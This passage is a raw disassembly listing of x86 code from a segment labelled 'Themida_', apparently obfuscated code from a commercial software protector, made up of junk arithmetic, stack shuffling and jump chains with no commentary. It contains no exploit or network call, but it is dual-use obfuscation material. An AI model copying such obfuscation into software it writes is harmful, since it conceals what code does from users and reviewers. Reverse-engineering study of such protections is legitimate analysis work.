push dword ptr [esp]
pop edx
push ebp
mov ebp, esp
jmp loc_56AB68
; ---------------------------------------------------------------------------
loc_567BA0: ; CODE XREF: Themida_:0056D9C2j
mov esp, [esp]
jmp loc_561043
; ---------------------------------------------------------------------------
loc_567BA8: ; CODE XREF: Themida_:0055F24Bj
mov [esp], edx
mov dx, 719Bh
push bx
mov bx, 124Bh
sub dx, 137h
add dx, 219Fh
add dx, bx
jmp loc_56D971
; ---------------------------------------------------------------------------
loc_567BC7: ; CODE XREF: Themida_:0055EB52j
add ah, dh
pop edx
sub esp, 4
mov [esp], edx
mov dh, ah
push eax
mov al, dh
jmp loc_56B64D
; ---------------------------------------------------------------------------
loc_567BDD: ; CODE XREF: Themida_:00563F9Fj
add ecx, eax
jmp loc_55DF2E
; ---------------------------------------------------------------------------
loc_567BE4: ; CODE XREF: Themida_:0055DB9Aj
push edi
push esp
pop edi
push ebx
jmp loc_56D42D
; ---------------------------------------------------------------------------
loc_567BED: ; CODE XREF: Themida_:0056639Bj
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], edx
jmp loc_56B394
; ---------------------------------------------------------------------------
loc_567C07: ; CODE XREF: Themida_:00561D67j
push 303Ch
jmp loc_56E055
; ---------------------------------------------------------------------------
loc_567C11: ; CODE XREF: Themida_:00563053j
mov ebx, 4
jmp loc_5639D6
; ---------------------------------------------------------------------------
loc_567C1B: ; CODE XREF: Themida_:0056073Cj
mov edi, [esp]
add esp, 4
add esp, 4
jmp loc_56FC97
; ---------------------------------------------------------------------------
loc_567C29: ; CODE XREF: Themida_:00570837j
sub esi, 6E88EE8Ch
add ebx, esi
pop esi
jmp loc_56ECF7
; ---------------------------------------------------------------------------
loc_567C37: ; CODE XREF: Themida_:0056A0A9j
mov edi, 66963C10h
add edi, 0E43827B4h
and ebp, edi
mov edi, [esp]
add esp, 4
sub ebp, 0F851CD5Eh
add ebx, ebp
jmp loc_565DC3
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edx
push 3FA1h
mov [esp], esp
jmp loc_56114E
; ---------------------------------------------------------------------------
loc_567C71: ; CODE XREF: Themida_:0056AFEDj
xchg ecx, [esp]
jmp loc_56EE58
; ---------------------------------------------------------------------------
loc_567C79: ; CODE XREF: Themida_:0056B774j
add ebp, 67FB3C67h
add ebp, 6F7F6006h
jmp loc_56F25C
; ---------------------------------------------------------------------------
loc_567C8A: ; CODE XREF: Themida_:00564247j
xchg ebx, esi
pop ebx
push ebx
push edi
mov edi, 0AAA79C50h
jmp loc_570170
; ---------------------------------------------------------------------------
loc_567C99: ; CODE XREF: Themida_:00564FC5j
sub edi, 4
xchg edi, [esp]
jmp loc_560DCD
; ---------------------------------------------------------------------------
loc_567CA4: ; CODE XREF: Themida_:0056876Aj
pop ecx
not edi
xchg edx, edi
inc edx
jmp loc_56AF18
; ---------------------------------------------------------------------------
loc_567CAF: ; CODE XREF: Themida_:005676D4j
pop esp
pop ecx
sub ecx, 18FA2AD3h
sub esp, 4
jmp loc_571E33
; ---------------------------------------------------------------------------
loc_567CC2: ; CODE XREF: Themida_:0055F9E7j
pop edi
xchg edx, [esp]
mov esp, [esp]
push dword ptr [esp]
pop ebx
push 2144h
mov [esp], edx
jmp loc_5635B0
; ---------------------------------------------------------------------------
loc_567CDA: ; CODE XREF: Themida_:0055F66Cj
mov edx, 6E6A168Fh
add ebx, edx
pop edx
push esi
push ebp
mov ebp, 25E02364h
shl ebp, 1
and ebp, 4BC3EC4h
jmp loc_5672BE
; ---------------------------------------------------------------------------
loc_567CF6: ; CODE XREF: Themida_:00564730j
push cx
mov cl, 32h
jmp loc_562B0E
; ---------------------------------------------------------------------------
loc_567CFF: ; CODE XREF: Themida_:0056D836j
sub esi, edi
mov edi, [esp]
jmp loc_5649A9
; ---------------------------------------------------------------------------
loc_567D09: ; CODE XREF: Themida_:0056EC44j
mov ebx, 77D842FCh
inc ebx
shr ebx, 5
and ebx, 5504F9Ah
jmp loc_56B6FD
; ---------------------------------------------------------------------------
loc_567D1D: ; CODE XREF: Themida_:00562472j
pop ecx
push 4641h
mov [esp], eax
mov eax, 5B926F6Ch
jmp loc_5634A5
; ---------------------------------------------------------------------------
loc_567D30: ; CODE XREF: Themida_:00567A2Bj
push 3F11h
mov [esp], edx
mov edx, 1BDD4236h
sub edx, 0FFFFFFFFh
inc edx
dec edx
push ecx
mov ecx, 7D730FDAh
sub ecx, 7A75BF74h
jmp loc_563837
; ---------------------------------------------------------------------------
loc_567D53: ; CODE XREF: Themida_:0056A0EAj
pop edi
pop dword ptr [esp]
jmp loc_55FB4E
; ---------------------------------------------------------------------------
loc_567D5C: ; CODE XREF: Themida_:00563DE7j
or [edi+1Ch], edx
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop edx
add esp, 4
push edi
jmp loc_56A6BC
; ---------------------------------------------------------------------------
loc_567D72: ; CODE XREF: Themida_:00571C0Aj
and ecx, edi
jmp loc_5610C2
; ---------------------------------------------------------------------------
loc_567D79: ; CODE XREF: Themida_:0056CFD0j
pop eax
sub al, dh
mov edx, [esp]
jmp loc_563668
; ---------------------------------------------------------------------------
loc_567D84: ; CODE XREF: Themida_:005699B0j
and eax, edx
pop edx
or eax, eax
jz loc_563244
push dword ptr [edi+28h]
jmp loc_56F360
; ---------------------------------------------------------------------------
loc_567D97: ; CODE XREF: Themida_:0056286Ej
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], eax
push esp
mov eax, [esp]
add esp, 4
jmp loc_571CB2
; ---------------------------------------------------------------------------
loc_567DB2: ; CODE XREF: Themida_:0056816Cj
add edx, 4
add edx, 4
jmp loc_56F71A
; ---------------------------------------------------------------------------
loc_567DC3: ; CODE XREF: Themida_:00566803j
shr ecx, 0Bh
push 1315h
mov [esp], ebx
push 58C9h
jmp loc_566960
; ---------------------------------------------------------------------------
loc_567DD8: ; CODE XREF: Themida_:0056DCA6j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
and eax, esi
mov esi, [esp]
push edi
mov edi, esp
jmp loc_56641E
; ---------------------------------------------------------------------------
loc_567DEE: ; CODE XREF: Themida_:0056D72Aj
pop esp
push ecx
push ebx
mov ebx, 0A2E2283h
jmp loc_56D7CE
; ---------------------------------------------------------------------------
loc_567DFB: ; CODE XREF: Themida_:00565057j
sub esi, 57ED4C86h
add esi, 20D0699Bh
add esi, edx
jmp loc_567963
; ---------------------------------------------------------------------------
loc_567E0E: ; CODE XREF: Themida_:0056F726j
mov edx, [esp]
jmp loc_55F95E
; ---------------------------------------------------------------------------
loc_567E16: ; CODE XREF: Themida_:00569641j
mov esi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
or [edi+1Ch], esi
mov esi, [esp]
jmp loc_55DB63
; ---------------------------------------------------------------------------
loc_567E2A: ; CODE XREF: Themida_:00571C79j
sub edx, 0FBE6F13Fh
add ebp, edx
mov edx, [esp]
jmp loc_56812D
; ---------------------------------------------------------------------------
loc_567E3A: ; CODE XREF: Themida_:00566E8Cj
sub eax, edx
pop edx
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
mov bh, 4Bh
xor bh, ah
xor ah, bh
xor bh, ah
jmp loc_56B569
; ---------------------------------------------------------------------------
mov eax, [esp]
push 6C3h
mov [esp], ebx
push esp
jmp loc_55FA08
; ---------------------------------------------------------------------------
loc_567E6A: ; CODE XREF: Themida_:0056D213j
pop ebx
shl di, 6
shl di, 7
neg di
or di, 57BBh
jmp loc_562C9D
; ---------------------------------------------------------------------------
loc_567E80: ; CODE XREF: Themida_:005700D9j
add edi, esi
sub edi, 163F487Bh
pop esi
add eax, 40AE67BFh
jmp loc_56FE33
; ---------------------------------------------------------------------------
loc_567E93: ; CODE XREF: Themida_:0056BD2Cj
or edx, 68AF50FDh
sub edx, 0E9AF7EFBh
add ebx, edx
pop edx
add ebx, 4
xchg ebx, [esp]
jmp loc_56F898
; ---------------------------------------------------------------------------
loc_567EB0: ; CODE XREF: Themida_:0055E67Aj
pop ebx
push 6521h
mov [esp], edi
push dword ptr [esp]
jmp loc_56FC45
; ---------------------------------------------------------------------------
loc_567EC1: ; CODE XREF: Themida_:0056F570j
mov ebx, 51D96B6Eh
or ebx, 329D5299h
jmp loc_568439
; ---------------------------------------------------------------------------
loc_567ED1: ; CODE XREF: Themida_:005698B9j
mov ah, 78h
jmp loc_56697D
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_55EFB1
; ---------------------------------------------------------------------------
loc_567EF0: ; CODE XREF: Themida_:00570FCFj
mov [esp], edi
jmp loc_567464
; ---------------------------------------------------------------------------
loc_567EF8: ; CODE XREF: Themida_:00560B53j
add eax, 6F3512B4h
mov edx, [esp]
add esp, 4
push edi
mov edi, 4
add eax, edi
pop edi
xchg eax, [esp]
pop esp
add al, bl
add al, 26h
push ebx
jmp loc_5601E4
; ---------------------------------------------------------------------------
loc_567F1A: ; CODE XREF: Themida_:00568622j
mov ah, bh
mov ebx, [esp]
jmp loc_56C398
; ---------------------------------------------------------------------------
loc_567F24: ; CODE XREF: Themida_:00568DCDj
mov edi, 4
add [esp+4], edi
pop edi
jmp loc_56D18F
; ---------------------------------------------------------------------------
loc_567F33: ; CODE XREF: Themida_:005646D9j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_567F38: ; CODE XREF: Themida_:0056A380j
add esp, 4
loc_567F3E: ; CODE XREF: Themida_:0056710Ej
; Themida_:005677C5j
push dword ptr [esp]
pop ebx
push 7363h
mov [esp], ecx
push esp
pop ecx
push ebp
jmp loc_567282
; ---------------------------------------------------------------------------
loc_567F52: ; CODE XREF: Themida_:0056AFC8j
mov esp, [esp]
mov [esp], esi
mov esi, 3B8E40EEh
xor ecx, esi
jmp loc_571239
; ---------------------------------------------------------------------------
loc_567F64: ; CODE XREF: Themida_:0056B603j
add edx, eax
pop eax
sub esp, 4
mov [esp], ebp
push 276Bh
mov [esp], ebx
mov ebx, 76604A08h
mov ebp, 76604A0Ch
xor ebp, ebx
push dword ptr [esp]
pop ebx
add esp, 4
sub esp, 4
jmp loc_56712E
; ---------------------------------------------------------------------------
loc_567F96: ; CODE XREF: Themida_:00570E05j
pop esp
push 4709h
mov [esp], ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
push 6598h
mov [esp], ecx
jmp loc_56A224
; ---------------------------------------------------------------------------
loc_567FBA: ; CODE XREF: Themida_:005656AFj
sub esp, 4
mov [esp], esi
jmp loc_5721DE
; ---------------------------------------------------------------------------
loc_567FC8: ; CODE XREF: Themida_:0056D8A9j
mov eax, 6F7D20BBh
xchg eax, esi
jmp loc_56AAB2
; ---------------------------------------------------------------------------
loc_567FD3: ; CODE XREF: Themida_:00562DA6j
mov [esp], ebx
mov bh, al
mov dl, bh
pop ebx
pop eax
sub dl, cl
pop ecx
jmp loc_568834
; ---------------------------------------------------------------------------
loc_567FE4: ; CODE XREF: Themida_:005650CDj
mov [esp], eax
push 7F4C13C4h
jmp loc_5659D9
; ---------------------------------------------------------------------------
loc_567FF1: ; CODE XREF: Themida_:0056B3A5j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_56F5F9
; ---------------------------------------------------------------------------
loc_568009: ; CODE XREF: Themida_:00569945j
pop edx
push ebx
mov ebx, 77B93961h
and ebp, ebx
pop ebx
shr ebp, 4
push 7D9Ch
jmp loc_56A0A6
; ---------------------------------------------------------------------------
loc_568020: ; CODE XREF: Themida_:0055E07Fj
xor eax, [esp]
mov esp, [esp]
jmp loc_56B78D
; ---------------------------------------------------------------------------
loc_56802B: ; CODE XREF: Themida_:0056F132j
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], ebp
push eax
mov eax, 54761DE8h
mov ebp, eax
jmp loc_56C68D
; ---------------------------------------------------------------------------
loc_568044: ; CODE XREF: Themida_:00570FFFj
mov edi, 4DDC27D6h
xor edi, 1E4447BEh
sub edi, 50C837B9h
add ebx, edi
pop edi
sub ebx, 5357AFA8h
mov eax, ebx
pop ebx
add ebx, eax
pop eax
add ebx, 2F495D43h
sub ebx, eax
sub ebx, 2F495D43h
push esi
jmp loc_56D177
; ---------------------------------------------------------------------------
loc_568078: ; CODE XREF: Themida_:00571C1Bj
add edi, ebp
pop ebp
push esi
mov esi, esp
jmp loc_5686D7
; ---------------------------------------------------------------------------
loc_568083: ; CODE XREF: Themida_:0056FF94j
push 249Ah
mov [esp], ebp
push 7DF0h
mov [esp], eax
push ecx
jmp loc_561423
; ---------------------------------------------------------------------------
loc_568099: ; CODE XREF: Themida_:0057298Dj
pop esp
xchg edi, [esp]
mov esp, [esp]
sub ebx, 7C303981h
jmp loc_568D17
; ---------------------------------------------------------------------------
loc_5680AB: ; CODE XREF: Themida_:0056AC9Cj
mov edx, 56381D2Eh
jmp loc_56E080
; ---------------------------------------------------------------------------
loc_5680B5: ; CODE XREF: Themida_:00561B79j
sub edi, 1C447D36h
add edi, eax
add edi, 1C447D36h
pop eax
sub edi, 0C2851A1h
shl edi, 4
xor edi, 0F26B6F16h
jmp loc_5713F4
; ---------------------------------------------------------------------------
loc_5680D8: ; CODE XREF: Themida_:0056AC35j
mov edi, 68634023h
jmp loc_56CD19
; ---------------------------------------------------------------------------
loc_5680E2: ; CODE XREF: Themida_:0055FBF6j
pop ecx
inc edi
shl edi, 6
not edi
xor edi, 0C026A9BBh
add edx, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push edx
jmp loc_5663F4
; ---------------------------------------------------------------------------
loc_568100: ; CODE XREF: Themida_:00570481j
mov ecx, esi
mov esi, [esp]
add esp, 4
mov ebp, [esp]
add esp, 4
rep movsd
jmp loc_56CEB1
; ---------------------------------------------------------------------------
loc_568118: ; CODE XREF: Themida_:005721D9j
sub eax, edi
mov edi, [esp]
add esp, 4
jmp loc_55E8B6
; ---------------------------------------------------------------------------
loc_568125: ; CODE XREF: Themida_:005721BDj
push dword ptr [esp]
jmp loc_565DBA
; ---------------------------------------------------------------------------
loc_56812D: ; CODE XREF: Themida_:00567E35j
add esp, 4
add ecx, 0D75690Dh
add ecx, ebp
sub ecx, 0D75690Dh
pop ebp
jmp loc_56008B
; ---------------------------------------------------------------------------
loc_568144: ; CODE XREF: Themida_:00561274j
mov [esp], edi
push 38A1h
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
push ebp
mov ebp, 4
add [esp+4], ebp
mov ebp, [esp]
push edx
mov edx, esp
jmp loc_567DB2
; ---------------------------------------------------------------------------
loc_568171: ; CODE XREF: Themida_:0055E91Cj
pop esp
jmp loc_560D1C
; ---------------------------------------------------------------------------
loc_568177: ; CODE XREF: Themida_:0056EB03j
pop esp
xor eax, edi
mov edi, [esp]
jmp loc_56A75D
; ---------------------------------------------------------------------------
loc_568182: ; CODE XREF: Themida_:0056715Bj
add esp, 4
sub edx, ebp
add edx, 2E02255Fh
pop ebp
jmp loc_569845
; ---------------------------------------------------------------------------
loc_568193: ; CODE XREF: Themida_:0056D1B9j
push ecx
push edi
jmp loc_56277E
; ---------------------------------------------------------------------------
loc_56819A: ; CODE XREF: Themida_:0056B68Fj
push eax
mov eax, 37C2099Bh
inc eax
add eax, 75F219F8h
or eax, 38206EA3h
add eax, 57ACD0A9h
add esi, eax
pop eax
sub esi, 84BCF808h
add edi, esi
mov esi, [esp]
add esp, 4
add edi, 4
xchg edi, [esp]
pop esp
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
push 52E4h
mov [esp], edx
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_56B20A
; ---------------------------------------------------------------------------
loc_5681E9: ; CODE XREF: Themida_:0056957Dj
inc ebx
add ebx, 0CDF745FCh
mov ebp, ebx
pop ebx
add eax, 566212A6h
jmp loc_572518
; ---------------------------------------------------------------------------
loc_5681FD: ; CODE XREF: Themida_:00565953j
and ecx, 2E325181h
push eax
mov eax, 7F422469h
xor ecx, eax
pop eax
xor edi, ecx
mov ecx, [esp]
jmp loc_568C2F
; ---------------------------------------------------------------------------
loc_568216: ; CODE XREF: Themida_:005719F7j
add esp, 4
xchg eax, [esp]
pop esp
btr [esp], ax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_568228: ; CODE XREF: Themida_:00561CE3j
mov esp, [esp]
mov [esp], eax
mov eax, 4
jmp loc_56ED2F
; ---------------------------------------------------------------------------
loc_568238: ; CODE XREF: Themida_:0056BD66j
mov bx, 39AEh
add ax, 2510h
jmp loc_55F828
; ---------------------------------------------------------------------------
loc_568245: ; CODE XREF: Themida_:0056C4B4j
neg edi
add edi, 0B4B922BFh
add edx, edi
pop edi
dec edx
add edx, 98ACA4FFh
sub eax, edx
jmp loc_55FC07
; ---------------------------------------------------------------------------
loc_56825E: ; CODE XREF: Themida_:00569471j
push ecx
push ebx
jmp loc_560A1E
; ---------------------------------------------------------------------------
loc_568265: ; CODE XREF: Themida_:0056B259j
push dword ptr [esp]
mov edi, [esp]
jmp loc_5695BB
; ---------------------------------------------------------------------------
loc_568270: ; CODE XREF: Themida_:00568557j
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_568B6C
; ---------------------------------------------------------------------------
loc_568280: ; CODE XREF: Themida_:0055E8BEj
pop edi
jmp loc_57225C
; ---------------------------------------------------------------------------
loc_568286: ; CODE XREF: Themida_:0056E3BDj
pop ecx
jmp loc_55F9B2
; ---------------------------------------------------------------------------
loc_56828C: ; CODE XREF: Themida_:0056C1C7j
mov edx, 3A1B4DCBh
jmp loc_5634DC
; ---------------------------------------------------------------------------
loc_568296: ; CODE XREF: Themida_:0056AF13j
sub ah, 1
push bx
mov bl, 79h
xor ah, bl
pop bx
sub bl, ah
pop eax
sub al, bl
pop ebx
sub bl, 10h
jmp loc_56E523
; ---------------------------------------------------------------------------
loc_5682AF: ; CODE XREF: Themida_:00566809j
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5713FE
; ---------------------------------------------------------------------------
loc_5682BF: ; CODE XREF: Themida_:0056F4E0j
sub esi, 8743F59Dh
jmp loc_56B3F9
; ---------------------------------------------------------------------------
loc_5682CA: ; CODE XREF: Themida_:0056CBA8j
add ebx, 4BD45F00h
inc ebx
jmp loc_5663D5
; ---------------------------------------------------------------------------
loc_5682D6: ; CODE XREF: Themida_:0056FF06j
push edx
jmp loc_56E4DF
; ---------------------------------------------------------------------------
loc_5682DC: ; CODE XREF: Themida_:005614CCj
and eax, ecx
jmp loc_55F8F4
; ---------------------------------------------------------------------------
loc_5682E3: ; CODE XREF: Themida_:00565CDEj
xchg eax, [esp]
pop esp
xchg edi, [esp]
mov esp, [esp]
jmp loc_55FC6A
; ---------------------------------------------------------------------------
loc_5682F2: ; CODE XREF: Themida_:00562196j
add ebx, 4
push esi
mov esi, 4
add ebx, esi
pop esi
xchg ebx, [esp]
pop esp
push ecx
mov ecx, 4
add edx, ecx
jmp loc_5679C6
; ---------------------------------------------------------------------------
loc_568312: ; CODE XREF: Themida_:00565F70j
or dl, 24h
or dl, 5Bh
push eax
jmp loc_569483
; ---------------------------------------------------------------------------
loc_56831E: ; CODE XREF: Themida_:0055F760j
push edi
mov edi, 0B22A4538h
add eax, edi
jmp loc_569ABF
; ---------------------------------------------------------------------------
loc_56832B: ; CODE XREF: Themida_:00570A06j
push edx
mov edx, 35AE43FCh
not edx
neg edx
jmp loc_56AC84
; ---------------------------------------------------------------------------
loc_56833A: ; CODE XREF: Themida_:00572681j
push edi
mov edi, 45F722DEh
jmp loc_56F6FF
; ---------------------------------------------------------------------------
loc_568345: ; CODE XREF: Themida_:00560F8Ej
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
pop eax
push edx
mov edx, 4
add eax, edx
jmp loc_56E872
; ---------------------------------------------------------------------------
loc_568365: ; CODE XREF: Themida_:00567023j
dec esi
sub esi, 6B73D2A3h
mov edi, esi
pop esi
jmp loc_562E2F
; ---------------------------------------------------------------------------
loc_568374: ; CODE XREF: Themida_:005603FDj
mov eax, edi
pop edi
sub eax, 47F372AEh
push ebp
mov ebp, eax
push edx
mov edx, esp
jmp loc_560360
; ---------------------------------------------------------------------------
loc_568387: ; CODE XREF: Themida_:0056FAC3j
pop esp
push ebx
jmp loc_5693B1
; ---------------------------------------------------------------------------
loc_56838E: ; CODE XREF: Themida_:00560970j
add esp, 4
sub eax, ebx
push edi
jmp loc_563170
; ---------------------------------------------------------------------------
loc_56839C: ; CODE XREF: Themida_:0056E7DCj
sub dword ptr [esp+4], 6EFC4D4Eh
add [esp+4], ebp
add dword ptr [esp+4], 6EFC4D4Eh
push edx
mov edx, 3F3B000Dh
add dword ptr [esp+8], 74F6252Fh
sub [esp+8], edx
sub dword ptr [esp+8], 74F6252Fh
jmp loc_56E39A
; ---------------------------------------------------------------------------
loc_5683CF: ; CODE XREF: Themida_:00564E33j
dec ecx
jmp loc_5641EC
; ---------------------------------------------------------------------------
loc_5683D5: ; CODE XREF: Themida_:005697CAj
push edi
mov edi, 634F21D1h
sub edi, 21B93731h
neg edi
jmp loc_5725D2
; ---------------------------------------------------------------------------
loc_5683E8: ; CODE XREF: Themida_:005609FAj
sub eax, 742E8ECEh
sub ebp, eax
pop eax
mov edi, ebp
mov ebp, [esp]
add esp, 4
add ecx, 4D731727h
sub ecx, edi
jmp loc_56355F
; ---------------------------------------------------------------------------
loc_568408: ; CODE XREF: Themida_:0056FC1Aj
xor ecx, 26D0DD7Ah
sub edi, ecx
jmp loc_570430
; ---------------------------------------------------------------------------
loc_568415: ; CODE XREF: Themida_:0056008Dj
push edi
mov edi, 222B2030h
shl edi, 6
xor edi, 0C8FA7E4Ah
or ecx, edi
mov edi, [esp]
add esp, 4
jmp loc_55DF26
; ---------------------------------------------------------------------------
loc_568431: ; CODE XREF: Themida_:005669A8j
shr ebx, 5
jmp loc_56E60C
; ---------------------------------------------------------------------------
loc_568439: ; CODE XREF: Themida_:00567ECCj
sub ebx, 0A7DFC4Dh
add edx, ebx
mov ebx, [esp]
jmp loc_56DE36
; ---------------------------------------------------------------------------
loc_568449: ; CODE XREF: Themida_:00566234j
shr dh, 1
jmp loc_561B2A
; ---------------------------------------------------------------------------
loc_568450: ; CODE XREF: Themida_:005606C4j
shl edi, 8
add edi, 0E7413F3Fh
inc edi
or edi, 5A640820h
shl edi, 4
shr edi, 7
shr edi, 2
jmp loc_56EAEB
; ---------------------------------------------------------------------------
loc_56846E: ; CODE XREF: Themida_:00564BE6j
mov [esp], ebx
mov ebx, 76E7600Ah
mov eax, 38564DAEh
jmp loc_564AB7
; ---------------------------------------------------------------------------
loc_568480: ; CODE XREF: Themida_:0056B636j
mov [esp], esi
push edx
mov edx, 4C6D1171h
sub edx, 545455DEh
jmp loc_560326
; ---------------------------------------------------------------------------
loc_568494: ; CODE XREF: Themida_:0056C784j
add esp, 4
add esi, 2
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov dx, [esp]
push edx
push 62C7h
push esp
pop dword ptr [esp]
push edi
jmp loc_567AA3
; ---------------------------------------------------------------------------
loc_5684B8: ; CODE XREF: Themida_:00563980j
sub esp, 4
mov [esp], ecx
xchg edx, [esp]
xchg esi, edx
jmp loc_5712C0
; ---------------------------------------------------------------------------
loc_5684C8: ; CODE XREF: Themida_:0056F352j
pop edx
push ebx
push ebp
push 35A63AFAh
mov ebp, [esp]
add esp, 4
not ebp
xor ebp, 0A80A8F22h
push ebp
pop ebx
pop ebp
dec ebx
not ebx
add ebx, 288F2BC9h
inc ebx
add ebx, 39C41E61h
jmp loc_566BD7
; ---------------------------------------------------------------------------
loc_5684F6: ; CODE XREF: Themida_:005635A0j
mov esi, 26FA7B72h
add esi, 58AEBB8Dh
and eax, esi
pop esi
sub eax, 43218114h
add ebx, eax
mov eax, [esp]
add esp, 4
mov [edx+38h], ebx
pop ebx
jmp loc_56C637
; ---------------------------------------------------------------------------
loc_56851D: ; CODE XREF: Themida_:005652CCj
mov ebx, eax
mov eax, [esp]
jmp loc_571B70
; ---------------------------------------------------------------------------
loc_568527: ; CODE XREF: Themida_:005624A7j
shr ecx, 7
xor ecx, 37A33B2Ah
jmp loc_55ED33
; ---------------------------------------------------------------------------
loc_568535: ; CODE XREF: Themida_:00569284j
pop ecx
and eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
or eax, eax
jz loc_562A84
push 4053h
mov [esp], ebx
push 7D7Bh
jmp loc_568270
; ---------------------------------------------------------------------------
loc_56855C: ; CODE XREF: Themida_:0055DCFDj
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
idiv ecx
jmp loc_564EE6
; ---------------------------------------------------------------------------
loc_568572: ; CODE XREF: Themida_:0056BC7Dj
pop ebx
jmp loc_56CF5A
; ---------------------------------------------------------------------------
loc_568578: ; CODE XREF: Themida_:005714E2j
add dword ptr [esp], 2A7567F1h
jmp loc_56CAB5
; ---------------------------------------------------------------------------
loc_568584: ; CODE XREF: Themida_:0055F85Cj
add ebp, 0B6D7066h
push ebp
mov ebp, esp
add ebp, 4
jmp loc_570A9D
; ---------------------------------------------------------------------------
loc_568598: ; CODE XREF: Themida_:0056BC6Dj
mov bh, ah
mov ah, dl
pop edx
push edx
mov dh, 90h
inc dh
shl dh, 4
xor dh, 8Ah
xor ah, dh
pop edx
add bl, 44h
sub bl, ah
sub bl, 44h
mov eax, [esp]
add esp, 4
push eax
mov al, 4Dh
neg al
push dx
mov dh, 0Ch
sub al, 0F8h
sub al, dh
add al, 0F8h
pop dx
shr al, 4
shr al, 1
sub al, 67h
xor al, 2Dh
sub bl, al
pop eax
sub bl, al
add bl, 0B3h
push dx
mov dl, 0BEh
add bl, dl
jmp loc_56597E
; ---------------------------------------------------------------------------
loc_5685E9: ; CODE XREF: Themida_:005709E7j
mov dh, 29h
mov ch, dh
pop edx
add al, ch
pop ecx
sub al, 5
add al, bh
push edx
jmp loc_57263F
; ---------------------------------------------------------------------------
loc_5685FB: ; CODE XREF: Themida_:00570DC4j
add bl, 25h
pop dx
add bl, 0EAh
jmp loc_55E121
; ---------------------------------------------------------------------------
loc_568608: ; CODE XREF: Themida_:00564528j
pop ebp
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esi
push 1
mov esi, [esp]
jmp loc_56038A
; ---------------------------------------------------------------------------
loc_568620: ; CODE XREF: Themida_:0056FED6j
mov bh, 9Eh
jmp loc_567F1A
; ---------------------------------------------------------------------------
loc_568627: ; CODE XREF: Themida_:005657CEj
pop eax
pop eax
dec esi
push 5B77h
mov [esp], ebx
mov ebx, 7F0A653Ch
add ebx, 0F0822EF1h
xor esi, ebx
jmp loc_569874
; ---------------------------------------------------------------------------
loc_568644: ; CODE XREF: Themida_:0055E66Fj
mov edi, 4
sub ecx, edi
pop edi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], eax
jmp loc_569E7A
; ---------------------------------------------------------------------------
loc_56865E: ; CODE XREF: Themida_:0056ADEDj
sub esp, 4
mov [esp], ebp
push 32106D54h
pop ebp
neg ebp
jmp loc_56AF4F
; ---------------------------------------------------------------------------
loc_568674: ; CODE XREF: Themida_:00569EDCj
add esp, 4
push ebx
mov ebx, esp
jmp loc_561601
; ---------------------------------------------------------------------------
loc_56867F: ; CODE XREF: Themida_:0056FD0Aj
push 40000h
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push edi
push esp
pop edi
push ebx
push 4
jmp loc_55D8D3
; ---------------------------------------------------------------------------
loc_56869B: ; CODE XREF: Themida_:0056DE31j
xor ebx, 0C4E2BAFBh
jmp loc_560D46
; ---------------------------------------------------------------------------
loc_5686A6: ; CODE XREF: Themida_:005729BDj
sub ebx, ebp
pop ebp
sub ebx, 55363B7Dh
pop edi
pop edi
pop ebp
jmp loc_569273
; ---------------------------------------------------------------------------
loc_5686B7: ; CODE XREF: Themida_:0056FEA3j
or ecx, 18F82B79h
xor ecx, 339B4FB8h
jmp loc_57288E
; ---------------------------------------------------------------------------
loc_5686C8: ; CODE XREF: Themida_:00562BBFj
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
jmp loc_56F8C6
; ---------------------------------------------------------------------------
loc_5686D7: ; CODE XREF: Themida_:0056807Ej
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], edi
jmp loc_55F4E9
; ---------------------------------------------------------------------------
loc_5686EE: ; CODE XREF: Themida_:0056ABB5j
sub ebp, 25E3323Ah
jmp loc_57048E
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_56EF3F
; ---------------------------------------------------------------------------
loc_56870C: ; CODE XREF: Themida_:005621FFj
sub eax, edi
add eax, 502508F6h
push dword ptr [esp]
pop edi
add esp, 4
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
push ebx
mov ebx, 27C251A1h
shl ebx, 2
add ebx, 1
xor ebx, 22EB4C2Ch
neg ebx
shl ebx, 1
jmp loc_568EAC
; ---------------------------------------------------------------------------
loc_568746: ; CODE XREF: Themida_:0056F893j
add esp, 2
jmp loc_56891B
; ---------------------------------------------------------------------------
loc_568751: ; CODE XREF: Themida_:0056EBE8j
pop esi
inc esi
sub esi, 56D8525Ch
shr esi, 3
push ebx
jmp loc_55FACF
; ---------------------------------------------------------------------------
loc_568762: ; CODE XREF: Themida_:005631D8j
push ecx
mov ecx, 55707A8Dh
or edi, ecx
jmp loc_567CA4
; ---------------------------------------------------------------------------
loc_56876F: ; CODE XREF: Themida_:0056E129j
push ebx
